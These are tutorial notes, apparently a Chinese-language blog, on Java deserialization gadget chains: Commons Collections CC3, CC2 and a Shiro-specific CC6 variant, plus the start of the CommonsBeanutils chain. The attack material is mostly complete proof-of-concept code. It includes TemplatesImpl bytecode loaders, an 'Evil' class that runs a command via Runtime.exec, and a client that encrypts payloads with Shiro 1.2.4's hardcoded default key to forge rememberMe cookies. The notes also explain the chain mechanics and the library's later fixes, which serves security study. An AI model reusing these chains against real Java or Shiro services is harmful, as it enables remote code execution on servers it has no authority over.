public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAbDAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwAAQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwADwABABAAAAACABE=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}

但是这里和ysoserial的CC3有所区别,准确来说是没有用到invokerTransformer原因是什么?
在ysoserial出现后,随之而来也出现了SerialKiller这样的Java反序列化过滤工器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的类。在其发布的一个版本代码中,可以看到其给出了最初的黑名单

这个黑名单中invokerTransformer赫然在列,也就切断了CC1的利用链,CC3诞生的目的也很明显就是为了绕过一些规则对InvokerTransformer的限制,CC3没有使用到InvokerTransformer来调用任意方法,而是用到了另一个类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter,这个类的构造方法中调用了(TransformerImpl)templates.newTransformer(),免去了我们使用InvokerTransformer手工调用newTransformer()方法这一步

但是缺少了invokerTransformer,TrAXFilter的构造方法也是无法调用的。这里会用到一个新的Transformer,就是org.apache.commons.collections.functors.InstantiateTransformer,InstantiateTransformer也是一个实现了Transformer接口的类,其作用就是调用构造方法。
所以我们实现的目标就是,利用InstantiateTransformer来调用到TrAXFilter的构造方法,再利用其构造方法里的template.newTransformer()调用到TemplateImpl里的字节码
利用链如下
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
替换之前的POC避免了InvokerTransformer的使用

上面这个只是demo,ysoserial的完整POC
package client;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections3 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
setFieldValue(transformerChain, "iTransformers", transformers);
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
// 本地测试触发
// System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
EvilTemplatesImpl
package client;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public EvilTemplatesImpl() throws Exception {
super();
System.out.println("Hello TemplatesImpl");
Runtime.getRuntime().exec("calc.exe");
}
}

这里和CC1不太一样的部分是,CC1的demo手动outer.put()触发TransformedMap回调transformerChain,但是在反序列化时,程序不会自动帮你执行outer.put(),因此得想一个调用链
这里是走的是AnnotationInvocationHandler.readObject->var5.setValue->parent.checkSetValue(parent为TransformedMap)->valueTransformer.transform(value)
var5.setValue() 会走到 TransformedMap.checkSetValue(),是因为 var5 实际上是 TransformedMap.entrySet() 返回的包装 Entry,它的 setValue() 被 Commons Collections 重写了,内部会先调用 parent.checkSetValue(value),而这个 parent 正是 TransformedMap。

Shiro反序列化
Shiro反序列化的原理比较简单:为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞。
一个简单的登录应用演示shiro 1.2.4

输入正确的账号密码,root/secret,成功登录

如果登录时选择了remember me的多选框,则登录成功后服务端会返回一个rememberMe的Cookie

对此攻击过程如下:
1.使用以前学过的CommonsCollections利用链生成一个序列化Payload
2.使用shiro默认key进行加密
3.将密文作为rememberMe的Cookie发送给服务端
将第1、2步编写成一个Class:Client0.java,其中用到的Gadget时CC6

加密的过程,直接使用的shiro内置的类org.apache.shiro.crypto,AesCipherService,最后生成了一段base64字符串,直接将这段字符串作为rememberMe的值,发送给shiro
最终没有弹出计算器而是Tomcat出现了报错


冲突与限制
找到异常信息的倒数第一行,也就是这个类:org.apache.shiro.io.ClassResolvingObjectInputStream。可以看到这是一个ObjectInputStream的子类,其重写了resolveClass方法
import org.apache.shiro.util.ClassUtils;
import org.apache.shiro.util.UnknownClassException;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
public class ClassResolvingObjectInputStream extends ObjectInputStream {
public ClassResolvingObjectInputStream(InputStream inputStream) throws
IOException {
super(inputStream);
}
/**
* Resolves an {@link ObjectStreamClass} by delegating to Shiro's
* {@link ClassUtils#forName(String)} utility method, which is known to
work in all ClassLoader environments.
*
* @param osc the ObjectStreamClass to resolve the class name.
* @return the discovered class
* @throws IOException never - declaration retained for subclass
consistency
* @throws ClassNotFoundException if the class could not be found in any
known ClassLoader
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass osc) throws
IOException, ClassNotFoundException {
try {
return ClassUtils.forName(osc.getName());
} catch (UnknownClassException e) {
throw new ClassNotFoundException("Unable to load
ObjectStreamClass [" + osc + "]: ", e);
}
}
}
resolveClass是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的java.lang.Class对象
对比一下它的父类,也就是正常的ObjectInputStream类中的resolveClass方法
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
throw ex;
}
}
}
区别就是前者用的是org.apache.shiro.util.ClassUtils#forName(实际上内部用到了org.apache.catalina.loader.ParalleWebappClassLoader#loadClass),而后者用的是Java原生的Class.forName
那么我们在异常捕捉的位置下个断点,看看是哪个类触发了异常

可见,出异常时加载的类名为org.apache.commons.collections.Transformer。原因比较复杂,最后得出的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,这就解释了为什么CommonsCollections无法利用了,因为其中用到了Transformer数组。
之前本地测试 CC6 不报错,是因为 payload 的生成与反序列化都发生在同一个 Java 环境中,该环境已经引入了 Commons Collections 依赖,JVM 能正常加载 TiedMapEntry、LazyMap、Transformer 等类。而在 Shiro rememberMe 场景中,payload 是由 shiroattack 生成,但真正反序列化的是 Tomcat 中的 shirodemo。如果目标 Web 应用的 classpath 中没有 Commons Collections 3.x,则反序列化过程中解析到这些第三方类时会直接 ClassNotFoundException。此外,Shiro 1.2.4 使用 ClassResolvingObjectInputStream 自定义类解析逻辑,对 [Lorg.apache.commons.collections.Transformer; 这类第三方数组描述符处理不佳,因此 CC6 中的 Transformer[] 也可能导致无法加载类的问题。
构造不含数组的反序列化Gadget
在前面介绍了TemplateImpl,我们可以通过下面几行代码来执行一段Java的字节码
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
实现字节码的加载必须要调用newTrasnformer,前面CC3介绍了两种调用方法一个是直接通过InvokerTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
另一个就是走TrAXFilter链调用其构造方法即可调用构造方法里的template.newTransformer通过TransformedMap.checkSetValue(value)自动触发,但是很明显这两种方法都要依赖transformer数组
如何去除这一过程的Transformer数组?前面CC6中用到了一个类Tied Map Entry,其构造函数介接受两个参数一个是LazyMap,一个是对象key。TiedMapEntry有个getValue方法,调用了map的get方法,并传入key
public Object getValue() {
return map.get(key);
}
当这个map是LazyMap时,其get方法就是触发transform的关键点
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
以往构造CC Gadget的时候,对LazyMap#get方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,通过ConstantTransformer来初始化恶意对象。
但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时可以惊讶的发现这个LazyMap#get的参数key,会被传进transform(),实际上它可以扮演ConstantTransformer的角色–一个简单的对象传递者
会看前面的Transformer数组
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
new ConstantTransformer(obj)这一步完全是可以去除,数组长度变成1,那么也不需要数组了。
改造CC6为CCshiro
首先还是创建TemplateImpl对象
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后调用newTransformer方法的InvokerTransformer,这里先传入一个人畜无害的方法,比如getClass,避免恶意方法在构造Gadget的时候触发
Transformer transformer = new InvokerTransformer("getClass", null, null);
再把老的CC6代码复制过来,然后改前面说到的点,将TiedMapEntry构造时的第二个参数key,改为前面创建的TemplateImpl对象
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
最后将InvokerTransformer方法改成newTransformer
完整POC
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
// ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
使用Client.java生成payload
package com.govuln.shiroattack;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
这里用到了Javassist,这是一个字节码操纵的第三方库,可以帮助我们将恶意类com.govuln.shiroattack.Evil生成字节码在交给TemplateImpl

CC2
2015年底CC反序列化利用链被提出时,Apache Commons Collet ions有以下两个分支版本
- commons-collections:commons-collections
- org.apache.commons:commons-collections4
前者是CC老的版本包,后者是推出的4版本,两个是不同分支,官方认为旧的commons-collections有一些架构和API设计上的问题,但修复这些问题会产生大量不能向前兼容的改动。所以commons-collections4不再认为是一个用来替换commons-collections的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。
CommonsCollections4的改动
3.2.1中存在的反序列化利用链,4.0版本是否可以用呢?幸运的是这二者可以共存,所以我们可以将两个包安装在同一个项目中进行比较
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons
collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
因为老的Gadget中依赖的包名都是org.apache.commons.collections,而新的包名已经变了是org.apache.commons.collections4.*

这个时候IDE爆出了一个错误,原因是LazyMap.decorate这个方法没了

3中对decorate的定义非常简单
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
这个方法不过就是LazyMap构造函数的一个包装,而在4中其实只是改了一个名字叫LazyMap
public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final
Transformer<? super K, ? extends V> factory) {
return new LazyMap<K,V>(map, factory);
}
所以我们将Gadget中出错的代码换一下名字即可
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

PriorityQueue利用链
除了老的几个利用链ysoserial还为cc4准备了两条新的利用链CC2和CC4
commons-collection这个包之所以能攒出这么多利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可执行任意方法的Transformer。所以在commons-collections中找Gadget的过程,实际上可以简化为,找一条从Serializable#readObject()方法到Transformer#transform()方法的调用链
CC2其中用到的两个关键类是
java.util.PriorityQueue
org.apache.commons.collections4.comparators.TransformingComparator
其中java.util.PriorityQueue有一个自己的readObject方法的类
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
org.apache.commons.collections4.comparators.TrasnformingComparator中有调用transform()方法的函数
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
所以CC2实际就是一条从PriorityQueue到TransformingComparator的利用链
gadget利用链。PriorityQueue#readObject()中调用了heapify()方法,heapify()中调用了siftDown(),siftDown()中调用了siftDownUsingComparator(),siftDownUsingComparator()中调用的comparator.compare,于是就接到上面的TransformingComparator了

java.util.PriorityQueue是一个优先队列,基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树。反序列化时为什么需要调用heapify()方法?为了反序列化后,需要恢复这个结构的顺序,排序是靠将大的元素下移实现的。siftDown()是将节点下移的函数,而comparator.compare()用来比较两个元素大小。TransformingComparator实现了java.util.Comparator接口,这个接口用于定义两个对象如何进行比较,siftDownUsingComparator()中就使用这个接口的compare()方法比较树的节点
按照这个思路开始编写POC,首先还是创建Transformer
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "calc.exe" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
再创建一个TransformingComparator,传入我们的Transformer
Comparator comparator = new TransformingComparator(transformerChain);
实例化PriorityQueue对象,第一个参数是初始化时的大小,至少需要2个元素才会触发排序和比较,所以是2;第二个参数是比较时的Comparator,传入前面实例化的comparator
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
后面随便添加了两个数字进去,这里可以传入非null的任意对象,因为我们的 Transformer是忽略传入参数的。
最后,将真正恶意的Transformer设置上
setFieldValue(transformerChain, "iTransformers", transformers);
POC
package com.govuln.shiroattack;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class,
Object[].class }, new Object[] { null, new
Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class},
new String[] { "calc.exe" })
};
Transformer transformerChain = new
ChainedTransformer(fakeTransformers);
Comparator comparator = new
TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

在此基础上改进PriorityQueue利用链
TemplateImpl可以构造出无Transformer数组的利用链,可以尝试用这个方法将这个利用链也改一下成为CC3
首先创建TemplateImpl对象
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
创建一个人畜无害的InvokerTransformer对象,并用它实例化Comparator
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
还是像上一节一样实例化PriorityQueue,但是此时向队列里添加的元素就是我们前面创建的TemplateImpl对象了
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
原因很简单,和前面一样因为我们无法再使用Transformer数组,所以也就不能用ConstantTransformer来初始化变量,需要接收外部传入的变量。而在Comparator#compare()时,队列里的元素将作为参数传入transform()方法,这就是传给TempaltesImpl#newTransformer的参数
最后一步将toString方法改为恶意的newTransformer
setFieldValue(transformer, "iMethodName", "newTransformer");
POC
package com.govuln.shiroattack;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
public class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getBytecode() throws Exception {
java.nio.file.Path path = java.nio.file.Paths.get("target/classes/com/govuln/shiroattack/Evil.class");
return java.nio.file.Files.readAllBytes(path);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("toString", null, null);
Comparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(obj);
queue.add(obj);
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

CC反序列化官方修复方法
第一个问题:PriorityQueue的利用链是否支持再commons-collection3中使用?
答案是不能,因为这条利用链中的关键类org.apache.commons.collections4.comparator.TransformingComparator,在commons-collections4.0以前的版本中是没有实现Serializable接口的,无法在序列化中使用。
第二个问题Apache Commons Collecitons官方是如果修复反序列化漏洞的?
Apache Commons Collectoins官方在20155年底得知序列化相关的问题后,就在两个分支上同时发布了新的版本,4.1和3.2.2
先看3.2.2通过diff可以发现,新版代码中增加了一个方法FunctorUtils#checkUnsafeSerialization,用于检测反序列化是否安全。如果开发者没有设置全局配置org.apache.commons.collections.enableUnsafeSerialization=true,即默认情况下后抛出异常。这个检查在常见的危险Transformer(InstantiateTransformer、InvokerTransformer 、PrototypeFactory CloneTransformer等)的readObject里进行调用,所以当我们反序列化包含这些对象时就会抛出一个异常

4.1的修复方式又不一样。4.1里,这几个危险Transformer类不再实现Serialization接口,也就是说这几个Transformer彻底无法反序列化和序列化了。
CB
前面说到java.util.PriorityQueue,它在Java中是一个优先队列,队列中每一个元素有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排操作,而排序就涉及到大小比较,进而执行java.util.Comparator接口的compare方法,那么在没有commonscollections的情况下还能否找到其他可以利用java.util.Comparaotr对象的呢?
Apache Commons Beanutils
Apache Commons Beanutils是Apache Commons工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法
关于JavaBean比如,Cat是一个最简单的JavaBean类
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
它包含一个私有属性name,读取和设置这个属性的两个方法,又称为getter和setter。其中getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty,让使用者可以直接调用任意JavaBean的getter方法
PropertyUtils.getProperty(new Cat(), "name");
此时commons-beanutils会自动找到name属性的getter方法,也就是getName,然后调用,获得返回值。除此之外,PropertyUtils.getProperty还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过PropertyUtils.getProperty(a,”b.c”);的方式进行递归获取。通过这个方法使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。
getter的妙用
我们需要找到可以利用的java.util.Comparator对象,在commons-beanutils包中就存在一个:org.apache.commons.beanutils.BeanComparator
BeanComparator是commons-beanutils提供的用来比较两个JavaBean是否相等的类,其实现了java.util.Comparator接口,看看其compare方法
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
这个方法传入两个对象,如果this.property为空,则直接比较这两个对象;如果this.property不为空,则用PropertyUtils.getProperty分别取这两个对象的this.property属性,比较属性的值。
前面说到PropertyUtils.getProperty这个方法会自动去调用一个JavaBean的getter方法,这个点是任意代码执行的关键,关键就是去找到这个能够执行恶意代码的getter方法。
前面介绍Java动态加载字节码对TemplateImpl追踪分析的时候

注意可以看到这里有TemplateImpl#getOutputProperties(),这个getOutputProperties()方法是调用链上的一环,它的内部调用了TemplatesImpl#newTransformer(),也就是后买常用来执行恶意字节码的方法
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
而getOutputProperties这个名字,是以get开放,正符合getter定义。所以PropertyUtils.getProperty(o1,property)这段代码,当o1是一个TemplatesImpl对象,而property的值为outputProperties时,将会自动调用getter,也就是TeamplatesImpl#getoutputProperties()方法触发代码执行。
Gadget利用链构造
首先创建TemplateImpl
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecod
e()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后BeanComparator,BeanComparator构造函数为空时,默认的property就是空
final BeanComparator comparator = new BeanComparator();
然后用这个comparator实例化优先队列Priority Queue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
